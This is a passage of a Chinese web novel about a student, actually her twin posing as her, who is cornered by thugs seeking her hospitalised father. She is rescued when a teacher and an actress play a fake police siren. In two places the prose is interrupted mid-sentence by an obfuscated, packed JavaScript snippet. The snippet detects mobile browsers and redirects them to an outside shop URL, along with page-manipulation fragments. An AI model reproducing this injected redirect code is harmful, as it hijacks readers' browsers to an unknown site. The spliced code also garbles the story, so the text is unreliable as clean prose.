两人就这样默默地看周佑雨捡板栗。 这条小巷陷入一片宁静。 张静思心里不免有些焦急和失落，难道她猜错了，大表哥他们今天不是要来找周佑雨？ 那她跟过来做什么，这里又黑又臭的…… 这时，巷子口传来喧闹声，李茹梦循声望去。 见一旁的张静思低着头不知道在想什么，李茹梦拍拍张静思的肩膀，指着街口对她道：“静思，你快看，来了好几个人。” 张静思一眼便看见二表哥潘鸿雄赳赳气昂昂地走在那群人最前面，仿佛一个显眼包，而大表哥潘源反而走在后面。 注意到这一幕，张静思拉住李茹梦，示意她不要发出声响：“咱们就在这里观战，别让他们发现我们。” 李茹梦点头赞同：“他们看起来就很不好惹，我们还是不要掺和进去比较好。” 两人便躲在垃圾集装箱后面，静观其变。 *** “周佑雨。” 巷口传来一道冷冷的声音。 周佑谷回头，循声望去，瞧见几个人从昏暗的街角走出，向她走来。 为首的那人个头不高，脸部轮廓分明，眉眼深邃，带有十分明显的攻击性。 见她没有任何回应，那人挑着眉，将唇边的烟取下，吐出烟圈，不耐烦道：“周佑雨，别给老子装哑巴。我问你，这几天你躲哪去了？你爸呢？” 这人穿着显眼的红色印花衬衫，梳着锃光瓦亮的大背头，皮肤黝黑，看起来年纪倒是不大，颇有种社会青年、街头混混的感觉。 周佑谷不动声色道：“我们很熟吗？我在哪，我爸在哪，这跟你有关系吗？” 潘鸿将烟头扔到地上，用皮鞋狠狠碾压，嗤笑一声：“我跟你不熟，跟你爸也不熟，不过我和钱熟啊。” 和钱有关？ 周佑谷皱眉道：“你想干什么？” “我想干什么？”潘鸿抬手轻点旁边一个寸头：“你告诉她我想干什么。” 寸头男声音洪亮：“我们鸿哥是一个斯文人，想要和周先生坐下来好好谈一谈。” “哦，鸿哥？”周佑谷，“你大名叫什么，我还不知道呢。” “老子叫什么，关你屁事。”潘鸿呸了一口，“不过既然你诚心发问，我就勉为其难地告诉你，你可听好了。” “老子行不更名，坐不改姓，名叫潘鸿。” 潘鸿显摆完，说道：“趁我还愿意好好说话，告诉我你爸在哪里，我要和你爸好好谈一谈。” 周佑谷故意叹气道：“我爸现在的状况，你还不清楚吗？上周……唉。” 潘鸿问道：“你爸在哪个医院？我们可以到医院谈。” 周佑谷敛眉正色道：“你有什么事，跟我说也是一样的。” 潘鸿不屑：“小孩子家家，大人的事你少管。你就告诉老子，你爹现在在哪里？” 周佑谷一字一句，斩钉截铁：“无可奉告。” “我看你是还想再尝一尝被打的滋味……”潘鸿想骂人，被身后的潘源拉住。 潘鸿本来怒气冲冲：“哪个不长眼的敢拦小爷我……”一回头，见是肃着一张脸的大哥，他嚣张的气焰顿时仿佛矮下去一大截。 今天本来他一个人带人来就可以，是爸怕他做事没个谱，非让大哥跟着来，以防止他继续闯祸，让事情恶化。 想到这里，潘鸿也觉得确实得收敛一下自己的脾气，便把中间的位置让出来：“大哥你来。” 众人跟着潘鸿一道把中间让出个口子，原本隐藏在人后的潘源就这样被众星拱月地推了出来。 周佑谷这才注意到此人。 这人比潘鸿高了不少，他被潘鸿称为大哥，可是俩人却长得一点都不相像，气质更是迥然不同。 如果说潘鸿像是街上招摇的花孔雀，痞里痞气，那么潘鸿的这位大哥就更像是藏身于丛林的猎豹，斑驳的花纹就是他隐匿其中的保护色。 只是这头猎豹看起来身体不太好，颇有些文弱。 刚刚一阵风吹来，他竟然捂着嘴轻轻咳了几声，这可是盛夏的傍晚。 但是直觉告诉周佑谷，这个人不好惹。 她悄悄地将脚步往后退了退。 没想到原本冷着脸的潘源伸手扶了扶眼镜，竟然笑眯眯地开口道：“小姑娘，你别误会，我们是很认真地想和周先生商讨一些问题。你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16586977|187194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可以回去和周先生说，只要周先生愿意放弃计划，我们愿意给予高额赔偿。我们表达如此的诚意，就是为了双方能够互利互惠，合作共赢。” 爸爸和妹妹都还在医院昏迷，没有脱离危险。 周佑谷对两人为何遭遇这些一点也不了解，只能套面前这几人的话。 她冷哼道：“你们虚不虚伪，前几天还动手动脚，今天就笑脸相迎，搭台唱戏的都没有你们变脸快。” “大哥，你就不能和她好言好语的说，”潘鸿被她这样的态度激怒，当下拉长着脸，威胁道：“我劝你不要给脸不要脸。之前那是你们不识抬举，所以我才动的手。要想不挨拳头，就识相一点。” 所以，造成爸爸和妹妹重伤的，应该就是这个叫潘鸿的人以及他的手下。 事情的起因恐怕和潘鸿那位大哥口中所说的计划有关。 思及此，周佑谷面容阴沉。 突然她想起什么，潘鸿……这人姓潘。 周佑谷问道：“潘跃是你什么人？” 潘鸿翻了个白眼：“我爹的名字是你乱叫的吗？” 说着，他的脾气有些收敛不住，带着人靠近周佑谷：“别东扯西拉些乱七八糟的事，我的耐心是有限度的。再问你一遍，你爸如今在哪里？” 周佑谷审视地将目光扫过这些人。 潘鸿身后有几人看起来都是练家子，和刚刚的杨瑾菲几人完全不一样。 男女毕竟有别，体型差距较大。她如果打起来，胜算不大。 而且潘鸿的那个大哥看起来阴阴的，她最好还是先想办法离开这里。 正当她准备一跑了之时，街口有人喊道：“警察来了！” 寸头男有些慌，凑到潘鸿和潘源面前问道：“源哥，鸿哥，怎么办？” 潘鸿和潘源对视一眼，潘源点头，向街口走去。 没过多久，潘源从昏暗中揪出一个漂亮且文弱的少年，将他拽到众人面前。 “原来是这小子在搞鬼。”潘鸿一脚将这少年踹得跪趴在地上，“还警察？你小子有本事真把警察招来。” 少年要爬起来，被潘鸿一脚踩在背上：“英雄救美之前，要先看看自己几斤几两。” 潘鸿顺着少年的目光看向周佑谷，说道：“周佑雨，老子本来不打女人，但是遇到特别可恶的，我也会破例。比如你上次竟然主动攻击我，那我当然不会心慈手软。” “不知道经过上次那一课，你有没有进步？要想全身而退，就将我想知道的告诉我。否则，他就是你的下场。”说着，潘鸿将脚下的劲儿加重。 周佑谷看见少年痛苦的表情。 这人也是因为她才被牵连进来，她不能让人代她受过。 如此，只能硬碰硬了。 这时，天空飘起雨丝，地面被点点雨水浸湿。 周佑谷将放在书包侧面的雨伞拿出。 潘鸿冷笑，对脚下的少年道：“这种时候，还担心自己被雨淋到。你看到没，你舍身来救的人，根本不在乎你呢。” 少年闭上眼睛，睫毛微颤。 周佑谷的这把伞很重，打起人来很疼。 她飞快地将伞柄拉长，趁几人都放松警惕，便以伞柄为棍，重重地向潘鸿的脑袋挥去。 潘鸿的脑袋被砸，一阵眩晕，他还没反应过来，腹部又挨了狠狠的一脚，向后倒去。 少年的背上再无桎梏，周佑谷连忙将他搀扶起来，低声对他说：“你快跑，我殿后！”说着她推了少年一把，然后便转身抵挡已经反应过来的几人。 少年被推得一个踉跄，但是他没有离开，而是从地上捡起石子向那几人砸去。 周佑谷注意到少年的动静，她没有多言。 她的优势是灵巧，所以她拿着伞柄，专挑几个疼的地方疾速地敲击，直把几个五大三粗的人打得嗷嗷叫。 不过那个源哥很有两下子，她根本没能打到他。 他们毕竟人多，周佑谷并不恋战，飞快地打懵其中几个人，争取到片刻喘息的机会，便拉着还在扔石子的少年转身就跑。 两人一起逃离这条巷子，沿着河道向前狂奔。 潘鸿几人在她们身后穷追不舍。 周佑谷对这一片的建筑并不太熟悉，在她的带领下，眼看两人就要被追上。 这时，少年拉着周佑谷拐进一条街道。 这并不是主街道，比较偏僻。 其两边也并无商铺，而是废弃的居民楼。 并且由于正在施工，街上堆满了水泥和各种材料。 此时正值晚间，工人都已经下班，这条街上没什么人。 少年边跑边对周佑谷说：“这一片在拆迁。穿过这条小路，可以到小吃街那边，那片比较繁华，人也多。” 周佑谷和这少年都很瘦，所以能轻易地穿梭于堆得高高的材料间。 可潘鸿的几个手下都是虎背熊腰的彪形大汉，从狭窄的通道经过就比较困难。 不过潘鸿和潘源也偏瘦，很快就追上周佑谷二人，一前一后将二人堵住。 几人便在这堆满施工材料的街道上对峙。 潘鸿气喘吁吁：“没看出来呀，你们这细胳膊细腿儿的，还挺能跑。跑呀，怎么不跑了。今天小爷我的运动量都在你俩这儿完成了。” 周佑谷诚挚建议道：“潘鸿，你既然累了，就早点回家休息，何必和我们在这里玩跑步游戏呢？” 潘鸿眨眼：“爷还就爱和你们玩老鹰捉小鸡。” 这时候，潘鸿的几个手下也都顺利地穿过材料，过来将周佑谷和少年团团围住。 双方都不敢轻举妄动，便这样僵持住。 周佑谷紧紧盯着几人，悄声对旁边的少年说道：“你叫什么名字？” 少年的唇抿得紧紧的，顿了一瞬，说道：“吕正言。” 周佑谷压低声音：“吕正言，谢谢你今天仗义相助，但是你和这件事毫无关系，待会儿我牵制住他们，然后你瞅准时机赶快跑，别管我，记住了吗？” 吕正言的话很少，却很有力量：“我不会丢下你。” 周佑谷：“你刚才报警了吗？” 吕正言：“没有，他们是地头蛇，没人管得了他们。” 周佑谷：“既然是这样，你更应该跑出去，这样才有机会找人来救我。” 吕正言有些犹豫。 周佑谷：“就这样定了，我吸引火力，你离开搬救兵。” 交代完毕，周佑谷提高音量，大声质问潘鸿等人：“怎么，你们想群殴？” 潘鸿挖了挖耳朵：“周佑雨，你这么大声音干什么，想把路人喊过来？我告诉你，现在这个社会，没人会多管闲事的。” 说完，他的目光落在周佑谷旁边的漂亮少年身上：“除了他这种毫无实力、自不量力的傻子。” 潘鸿指着少年：“只有搞不清楚状况、认不清楚现实的人才会飞蛾扑火。” 闻言，周佑谷将吕正言挡在身后，大声喊道：“我的朋友，不需要你来指手画脚、评头论足。说，你们到底想干什么？” 吕正言跟着喊道：“说，你们到底想干什么？” 潘源笑道：“周小姐，我们都很文明的。你只要告诉我们周先生在哪里，你和你的小伙伴就可以立刻离开。” 周佑谷：“若我说不呢？” 潘源：“那就对不起了，我们只好请你们一起到家里坐坐。也许到时候，你就会想说了。” 潘鸿抬手一挥，几名手下向周佑谷二人逼近。 周佑谷打算先发制人，硬生生打出一个缺口，让吕正言先逃出去。 正当她瞅准时机准备动手时，靠近小吃街那边的街道口突然传来一阵阵警笛鸣声。 潘源看向潘鸿，示意他撤退。 潘鸿轻蔑道：“大哥你怕什么。” 潘源低声劝道：“小鸿，这件事情爸不想闹大。要是警局的人来了，到时候爸的面上不好看。” 潘鸿撇嘴：“行吧。” “算你俩走运。”恶狠狠地瞪了周佑谷两人几眼，潘鸿带着手下人从街道的一边离开。 看着几人的身影隐没入那昏暗漆黑的一片，吕正言松下一口气。 周佑谷却不敢掉以轻心，拉着吕正言就往另一边的街口跑去，那里有明亮的灯光。 警笛声越来越近。 二人跑出这条略显昏暗的无人街道，却并没有如想象中一样看见警车，反而循着声音发现不远处的树下站着两个人。 吕正言疑惑出声：“吴老师？” 吴老师是韶光一班的班主任，周佑谷今天白天见过。 可她第一眼看见的却不是吴老师，而是吴老师身旁那个戴着黑色口罩的女人。 周佑谷不可置信地想道：那人……好像是容清洛？ 136. 江湖夜雨 第一天的综艺录制结束以后，学生们都已经离开学校。 但导演要求各位艺人补拍一些物料，因此容清洛稍微耽搁了一些时间，才和吴焕晗在校门口会合。 容清洛戴着口罩，眼里盛着满满的歉意：“焕焕不好意思，你等很久了吧。” 吴焕晗摇头：“没事，我也才弄完没多久。刚刚在程校长办公室，他让我们几个老师总结今天遇到的各种问题，并且要提出相应的解决办法，大家讨论了很久，也是刚刚才散。” 闻言，已经走出校门的容清洛又回过头，远远地望向行政楼的方向。 可惜此时天色已经完全黑下来，她张望了半天，什么也没瞧见。 吴焕晗拉着不断回头的容清洛向校门右侧的街道走去，好笑道：“你看什么呢，小心脖子待会儿抽筋了。” 容清洛凑近吴焕晗小声问道：“焕焕，程景逸走了吗？” 吴焕晗：“还没呢，程校长让我们先走，他还准备和邱导商量点事。” 容清洛有些失望：“这样啊。本来还想着，如果顺路的话，看看能不能把程景逸拐过来和我们一起吃饭。既然他还在忙，我们还是自己去吃吧。” 说罢，她站在人行道边，想要看看有没有出租车经过。 此时晚风习习，白日里的燥热不再。 一阵微风拂过，空气里弥漫着美食的味道。 容清洛吸了吸鼻子，感慨道：“好香啊。” 吴焕晗指着街道对面的一条巷子口道：“洛洛你看，那就是小吃街的入口，里面藏着好几家好吃的小店，过几天咱们可以一起去尝尝。” 容清洛：“可以，安排上。不过今天咱们还是按照原计划去老街吧。” 吴焕晗点头：“洛洛，这边没什么人用打车软件，打车其实不太方便，你看我们站在这儿有一会儿了，却没有一个的士经过。要不我们换种交通工具？” “其实坐公交也行，感觉这边认识我的人其实不多，更何况我还戴着口罩。”容清洛猜测道，“我估计，也就是宁哥和戴姐，他们俩因为一个是影帝一个是影后，所以在这边还有些知名度。其他我们几个艺人走在镇子上，可能还真没几个人认识。受众群体还是不一样。” “所以什么交通工具我都OK的。” 吴焕晗建议道：“实际上整个青山镇并不算大，从这儿到老街那边也可以选择骑自行车。而且这还有一个好处，就是可以呼吸新鲜空气。青山镇虽然不太发达，但是胜在山多绿植多，环境比较好，晚上街道上车不多，咱们骑个共享单车兜兜风，也是不错的选择哦。” 容清洛顺着吴焕晗的目光看见不远处停着一些黄色和绿色的共享单车，赞同道：“听着就已经很让人跃跃欲试了，刚好我已经好久没有骑自行车了，今晚可以骑一骑，就当是娱乐一下。” 两人一人选了一辆自行车，吴焕晗在前面带路：“洛洛你跟紧我哈，待会咱们拐到河道那边，沿着河道骑行，又凉快、风景又好。” 河道边有一些大爷大妈摇着老式的蒲扇散步，一些小朋友围着大人们打打闹闹，间或传来一阵欢声笑语。 容清洛跟在吴焕晗的单车后，感受着夹杂着河边草木气味的夏夜凉风。 看着小镇平常人家这样简单的人间美好，容清洛口罩遮掩之下的嘴角忍不住翘起。 只是这样短暂的惬意时刻并没能长久，到了一处可以存放共享单车的停车点，两人把自行车停在指定区域，剩下的路就需要走过去。 “并不太远的，我带你走条近路。前面有个地方在拆迁，我们直接从那条街穿过去，很快就能到老街的小吃街。”吴焕晗一边说，一边带着容清洛踏上河道上方悬着的桥。 广袤的天幕之下，漆黑的云彩一层一层铺满整片天空，像是传说中的异兽，将要吞噬整个人间。 容清洛拿出手机将这一刻的天空拍下，手机屏幕上突然有一滴又一滴的水珠出现。 吴焕晗从背包里翻出一把雨伞，撑开，将容清洛护在伞下：“看天气预报说今天可能有雨，我就带了把伞，没想到还真派上用场了。趁这会儿雨小，我们找家店坐着吃饭吧。” “好，那走吧。”容清洛在桥上本想多吹一阵晚风，现下空中突然飘起雨丝，只好和吴焕晗先离开。 两人穿过一片正在拆迁的废弃区域，正待从黑暗荒凉的废墟走到光明嘈杂的街道，隐约间听见身后远远地传来喧嚷声。 二人回头，竟看见一群人正在追赶两个学生。 雨点飘着飘就停了。 吴焕晗和容清洛对视一眼，将伞收起。 整条街道略显昏暗，二人站着的地方恰好堆着砖块，垒成小山模样，将她们的身影挡住，所以那群人没有注意到她们。 吴焕晗有些焦急，她低声对旁边的容清洛说道：“怎么办？那个女生穿的好像是韶光一班的校服，应该是我们正宁的学生……那些人看着来者不善，怎么才能救下这两个学生……” 容清洛：“你先别着急，咱们好好想一想，肯定能想到办法的。” 吴焕晗拿出手机，手指飞快地在屏幕上点着号码：“我得报警。” 眼看吴焕晗就要按下通话键，容清洛按住吴焕晗的手。 吴焕晗目露疑惑，焦急道：“洛洛，怎么了？再不报警的话，怕是就来不及阻止这些人了！” 容清洛低声道：“焕焕，你难道忘记当年的事了吗？” “把人喊来了也不一定能解决这件事，而且时间也浪费过去了。” “如果只有一次机会，我们冒不起这个险。” “那两个小同学也等不了那么久。” 吴焕晗焦躁的神情一顿，面色也跟着沉了下来。 她退出拨号的界面，问道：“那咱们怎么办？就咱们两个人，总不能硬碰硬吧。” 容清洛指着身后不远处亮着路灯的街道：“那条街道上往来的行人多吗？热闹吗？” 吴焕晗：“人不算特别不多，也不是很热闹。那条街上就一些小商贩，沿着那条道拐出去才是小吃街。” 容清洛：“咱俩去看看。” 俩人飞速地从这条施工的街道退出去。 旁边没隔多远便有一家水果店。 吴焕晗：“要不请路人来帮忙？” 容清洛：“我们的目的是震慑住那群人，把他们吓跑，而不是正面硬刚，激化矛盾。” “焕焕你看，这附近溜达的都是些手无缚鸡之力的老头儿、老太太和妇女儿童，并没有孔武有力的男子。让他们上的话， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16586978|187194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 别到时候没帮上忙反而激怒那群人，徒增伤亡。” “那怎么办？”吴焕晗实在有些着急，看到那水果店的老板正站在门口的摊子前，拿着把很长的水果刀在给顾客切西瓜，便道，“这也不行，那也不行，我干脆借把刀去和那群人拼了！” 容清洛无奈地点了一下吴焕晗的额头：“你呀，这几年的安逸日子过久了，不喜欢动脑子了是吗？” 吴焕晗讪笑道：“确实不如以前和你打配合时，天天枕戈待旦那般警醒。” “感觉老娘的刀已经生锈了。” 容清洛拍拍她的肩膀：“现在磨刀也不晚。” 这时，水果店的老板娘拿着一个喇叭走出来放在店门口。 喇叭里传来声响：“新鲜本地西瓜，十块钱三个，十块钱三个。” “新鲜本地西瓜，十块钱三个，十块钱三个。” “……” 容清洛的目光停留在这个喇叭上，突然她眼睛一亮：“有了！” 她拍拍旁边的吴焕晗，叮嘱道：“焕焕，你快在音乐软件上搜索警笛鸣声的音效，要快！” 说完，容清洛快速上前，一把拉住要进店的老板娘：“阿姨，你这个喇叭听起来声音很响亮，你多少钱买的？” 这个老板娘很热心：“网上买的，三十块左右。怎么了，你也想买，我可以发给你链接。” 容清洛商量道：“我现在着急用，我给你扫码付六十块，买你这个喇叭，可以吗？” 老板娘诧异道：“闺女，我这个用过一段时间了，你买去就是二手的，不值这么多，你还不如自己买一个。” 容清洛：“主要我现在就需要用。您看能不能通融一下，我出双倍的价格嘛。” 老板娘见这姑娘确实很焦急的样子，想着急人所急，便道：“我这个二十九块九买的，用了一个月，给你少几块，你扫二十五，直接拿走就行。” 容清洛：“谢谢您啊。阿姨，您这个喇叭能连蓝牙吗？” 老板：“可以的，不过我不会弄，都是我儿子给我整的，你们年轻人应该一看就知道怎么用。” 容清洛迅速地给这个阿姨扫了六十块钱：“行，谢谢您啊，祝您生意兴隆。” 她拿起店门口的喇叭，关掉声音，连忙走向站在路边的吴焕晗：“焕焕，你找到警笛音效了吗？” 吴焕晗：“找着了，不过手机声音有限……” 说到这里，她看见容清洛手里的喇叭：“太好了，有了喇叭就好办多了。” 容清洛：“快，连上蓝牙，就赶紧去放。” “交给我，”吴焕晗捣鼓一阵，顺利连上喇叭的蓝牙，试着播放警笛的音效。 警笛声一放出来，震得她耳朵疼，她连忙关上：“这玩意儿声音还挺大。” “就是要大，声音越大越好。”容清洛上手把声音调到最大，“走，咱们去震慑他们。” 为了安全起见，两人把喇叭放在之前她们站过的那堆砖后面，然后又退出那条街，这才开始放警笛音效。 容清洛和吴焕晗弯着腰从这条街口的建筑旁探出脑袋张望。 眼看着那群人在听见警笛声音后纷纷停下围殴的动作然后从另一边的街道口四散而去，两人双双松下一口气：“成了！” 137. 江湖夜雨 见那群人离开，容清洛和吴焕晗把喇叭取回。 吴焕晗准备关掉喇叭，容清洛制止道：“焕焕，你怎么知道他们是真的走了，还是仍然埋伏在附近观察情况？” “所以我们现在可以把喇叭的声音稍微调小一点，但是警笛声还是得再放一会儿，用以巩固效果。” 吴焕晗：“有道理。” 于是两人将喇叭放在街口的树下。 吕正言被周佑谷拉着跑出昏黑的街道，循着警笛的声音瞧见吴焕晗，顿感亲切。 他连忙招手呼喊道：“吴老师！” 吴焕晗也连忙招手：“快来！” 容清洛见两人确实已经脱险，这才把喇叭声音关掉。 待两个学生走近，吴焕晗认出二人：“原来是你们俩，吕正言，周佑雨。” 吴焕晗开学要带的班级恰好就是吕正言所在的九班和周佑雨所在的七班，放暑假前她特意去两个班里认过人，也了解过两个班上学生的情况。 吕正言这孩子学习好，是个各科老师口中称赞的好苗子。 周佑雨这个孩子长得和洋娃娃一样漂亮，性格内向，听别的老师说她学习成绩原来挺好的，但是高一下学期不知道为什么成绩下滑得厉害，连性格也变得比原来更加沉默。 吕正言看见喇叭，稍加思索便大概猜明白前因后果：“吴老师，是你们救了我们？谢谢你们。” 周佑谷也跟着道谢，但是绝不多话。 吴焕晗关切问道：“你们怎么会被那些混混缠上的？” 周佑谷记得这个吴老师，今天白天录制综艺的时候见过，她很负责任。 只不过，这件事情周佑谷自己都还是一团乱麻，没有调查清楚，又该如何与他人谈起。 再加上她尚且还不知道妹妹佑雨愿不愿意让这些事情被老师同学知道，所以还是先隐瞒下来比较好。 周佑谷正在思索应该怎么搪塞过去，她身旁的吕正言挠着头道：“吴老师，我暑假数学作业不小心被水全部打湿了，今天来找佑雨是想用她的作业复印一份，结果恰好被这群人堵上了，这群混混前段时间找我收保护费但是我没给。今天他们来找我茬，佑雨是被我连累了。” 吴焕晗皱眉，有些生气：“这都什么年代了，还有收保护费这样的事。” “太阳底下无新鲜事嘛，正常。”容清洛一面安慰吴焕晗，一面又看向这个男生，“你胆子还挺大，威武不能屈。” 这个男生没有参加《青衿与长衫》这个综艺的录制，所以她是第一次见。 不过男生旁边的这个女孩儿她倒是有一点点印象，上午做自我介绍的时候其他同学都说了一大堆，只有她酷酷的，讲了自己的名字后就坐下了，在做游戏环节也比较沉默。 容清洛看向女孩衣服上的名牌……周佑雨。 吕正言有些不好意思：“谢谢您夸奖。” 容清洛笑：“我这是夸奖吗？我这是调侃。” 见两个学生都一脸好奇地看着自己，恰好这会儿附近没有行人，容清洛把口罩拉下来，扬眉微笑道：“你们好呀，我是容清洛，是你们吴老师的好朋友。综艺《青衿与长衫》正在你们正宁中学拍摄录制，我是支教老师之一。” 吕正言礼貌问好：“您好，我是吕正言，也是正宁中学的学生，不过我没参加这次的节目录制。” 周佑谷很惊讶，没想到她的感觉没错，这人真的是容清洛。 她对容清洛倒是无感，她没有特别喜欢的明星。 不过佑雨很喜欢容清洛。 佑雨常常说在容清洛身上能看见她自己的一些影子。 想到这里，周佑谷主动伸手问好：“容老师您好，我妹……我是周佑雨。” 她本来想说她妹妹很喜欢容清洛，但是突然想起来好像佑雨身边的老师同学都不知道佑雨有她这么个姐姐，所以还是不要节外生枝。 周佑谷连忙改口道：“我每次都特别期待看到您的作品，我可喜欢您了。容老师，您可以给我签个名吗？”一边说一边从包里翻出笔记本和纸，想着回去送给佑雨。 容清洛没想到这姑娘看起来挺高冷，竟然还喜欢她。 她顿时觉得自己在这个小镇的知名度可能也没她原来想象的那么低，她很爽快地给周佑雨签了一个to签。 这时，容清洛听见身后有人喊道：“姑娘，姑娘，你等等……” 她回头，发现原来是水果店的老板娘。 只见老板娘提着两个大西瓜往这边走来，走近后气喘吁吁道：“姑娘，幸好你还没走。“ 刚刚在水果店门外容清洛是戴着口罩的，这会儿刚好摘下口罩，被老板娘看见了口罩下的脸，老板娘感慨道：“姑娘，你长得可真标致，怪不得要戴口罩呢。你长得就和电视剧里的明星一样好看。” “谢谢阿姨夸奖。”容清洛失笑，问道，“阿姨，您追出来是……” 老板娘嗔怪道：“我刚看手机才发现你付钱付多了，大夏天的，给你拿两个西瓜回去解解暑。” 容清洛：“不用了阿姨，那个价钱是我一开始就同您说好的，谢谢您愿意割爱。” 老板娘不欲多说，把西瓜往容清洛脚下一放，转身便往回走，一边走一边回头摆手：“这是无子儿的，又甜又好吃。姑娘你拿回去和朋友们一起尝尝。” 见这老板娘是个爽快人，容清洛只得收下，她看着两个学生：“你俩一人抱一个走，拿回去吃，算是给你们压压惊。”说完，也不等俩学生推辞就往两人怀里分别塞了一个西瓜。 吴焕晗见天色已经不算早，便道：“此地不宜久留，你们俩家在哪里，我们送你们回家。” 吕正言：“没事的吴老师，我家就在这附近，而且我一个大男生，不怕的。如果要送的话你们送一下周佑雨就可以了。” 周佑谷推辞道：“我家也在这附近，老师们不用送啦。” 她今天来老街这边是带着任务的，现在可还不能回去呀。 吴焕晗正色道：“这怎么行，既然近就更应该送你们回去，如果不看着你们安全到家，老师今天晚上都无法安心睡觉的，你们忍心看着老师为你们失眠到天明吗？” 没想到吴老师说得这么夸张，吕正言和周佑谷只好答应下来。 爸爸和妹妹都还在医院，周佑谷这几天是一个人住。 她家虽然不在老街，但是确实如她所言，离这里隔得并不算很远，就在隔了几条巷子的南乡路锦绣园小区。 吴焕晗和容清洛打算先把女生送回家，吕正言表示他也要一起，于是四个人便一起往周佑雨家走去。 两个学生走在前面带路，两个大人并排跟在后面，像保镖一样。 周佑谷悄悄回头，见吴焕晗和容清洛在小声聊天，她一边向前走，一边靠近吕正言，低声叫他：“吕正言。” 吕正言原本眼低垂着，不知道在想些什么，此时听到声音，抬眼看向女生：“嗯？” 周佑谷：“你今天帮了我两回，一回是和我一起对抗潘鸿那群人，一回是刚刚在老师面前把事情揽在自己身上。” 吕正言沉默不语。 周佑谷：“你为什么帮我？” 问完这句话，周佑谷能感觉到吕正言的眼神中多了一丝难以捉摸的意味。 吕正言的目光在她的脸上巡睃，仿佛要把她盯出一个洞来。 半晌，吕正言移开目光。 他目视前方，淡淡吐出的话语却让周佑谷大吃一惊。 吕正言说的是：“我帮的不是你。” “我帮的是你妹妹周佑雨。” 周佑谷停住了脚步：“你说什么？” 吕正言也停下来，只是还没等他说什么，走在后面的容清洛和吴焕晗见两人停下，问道：“佑雨，你是到家了吗？” 周佑谷尴尬道：“老师，还没到呢。我就是刚刚跑了太多路，这会儿缓过来感觉脚有点疼。” 吴焕晗爱怜道：“今晚回去好好洗个澡、泡个脚，抹点药水，然后好好睡一觉。明天的综艺节目我帮你请个假，你就不用来了，在家里好好休息休息。” 周佑谷点头：“谢谢吴老师。” 吴焕晗：“不客气，都是老师应该做的。” 短暂的小插曲过去，几人继续往前走。 周佑谷和吕正言还是走在前面。 周佑谷轻声道：“吕正言，你怎么认出我来的？” 吕正言挑眉：“我不认识你，我只是知道你不是周佑雨。” 周佑谷缓了几秒才咂摸出这句话真正的滋味，低声道：“看来你知道的还不少。” 吕正言：“周佑雨告诉过我，她有一个双胞胎姐姐。” 周佑谷沉吟片刻，问道：“你家住在老街？” 吕正言：“对。” 周佑谷：“那老街32号松雅居6栋2单元502这个地址你熟悉吗？” 问出这句话时，周佑谷的目光紧紧地锁住吕正言的表情。 吕正言好笑道：“那我可太熟悉了。” 周佑谷：“怎么说？” 吕正言：“那是我家。” 周佑谷：“原来是你。” 吕正言投过去一个疑惑的眼神。 周佑谷：“我今天就是专门来找你的。” 吕正言：“周佑雨出什么事情了？” 周佑谷：“你知道？” 吕正言：“我不知道，但是她那个状态，迟早要出事。” 周佑谷朝身后努努嘴，示意道：“今天不方便，明天我来找你，咱们约个地方好好聊聊。” 吕正言缄默不语。 周佑谷强调道：“这对佑雨很重要，希望你能重视。” 吕正言：“可以。但是这附近不太安全，容易碰到今天追赶你的那群人。约个别的地方。” 周佑谷对青山镇其实不算特别熟悉，想不出一个合适的地方，便道：“你定吧，约个适合说话的地方。” 吕正言：“去镇北面的河滩公园。” 周佑谷虽然不知道河滩公园具体位置在哪里，但是想着有导航，便点头道：“可以。” 思索片刻，她又补充道：“明天早上咱们早一点儿。毕竟那群人里除了那个源哥，看起来都不像是会早起的样子。这样我们就能避开他们。” 吕正言点头：“好的。” 恰好这时候走到周佑谷家楼下，两人停下来。 吴焕晗和容清洛走到二人跟前，也停下来。 吴焕晗四处打量，刚刚一路走来，感觉这个小区的治安还可以，她稍微放心了一些：“佑雨，你家到了？” 周佑谷：“对，我家就住这个单元。吴老师，容老师，今天谢谢你们救了我和吕正言，而且还费心送我回家，走了这么久，你们肯定也累了，要不上去坐坐，喝杯水休息一下？” 吴焕晗：“今天就算了，这会儿不早了，我们还要送吕正言回家呢。” 周佑谷：“那我今天就不留二位老师啦，改天再请老师们到家里坐坐。” 吴焕晗：“你上楼吧，今晚回去什么都不要想，好好睡一觉。” 和几人道别后，周佑谷走了两步，又回转头，欲言又止。 容清洛看出女孩脸上的犹豫，便开口道：“佑雨，怎么了，你有什么想说的吗？没事儿，你放心大胆地说，如果能做到，我和吴老师肯定答应你。” 周佑谷：“今天的事情，我想请吴老师和容老师保密，不要对学校的老师同学提到这件事情。” 吴焕晗：“学生我们肯定不会说，但是如果不和校领导汇报的话，该怎么解决这个问题呢？这件事有可能威胁到你和吕正言的身心安全，借助学校的力量解决，不失为一个好方法。” 周佑谷诚恳道：“我主要是怕会产生不好的传闻和影响。老师们可以先缓一缓上报的时间吗？如果之后我们确实是不能解决，再来向老师们求助可以吗？” 吴焕晗实在是很担心两个孩子的安全问题，但是孩子们也有自己的主见和想法，她也应该尊重，只得道：“好，我答应你。不过如果再让我看见你和吕正言沦落到今天这种被追赶的境地，我是一定要插手并且上报的了，到时候你俩得听我的，行吗。” 周佑谷连忙道：“可以。” 她一边说一边还示意吕正言表态。 吕正言只得道：“我也可以。” 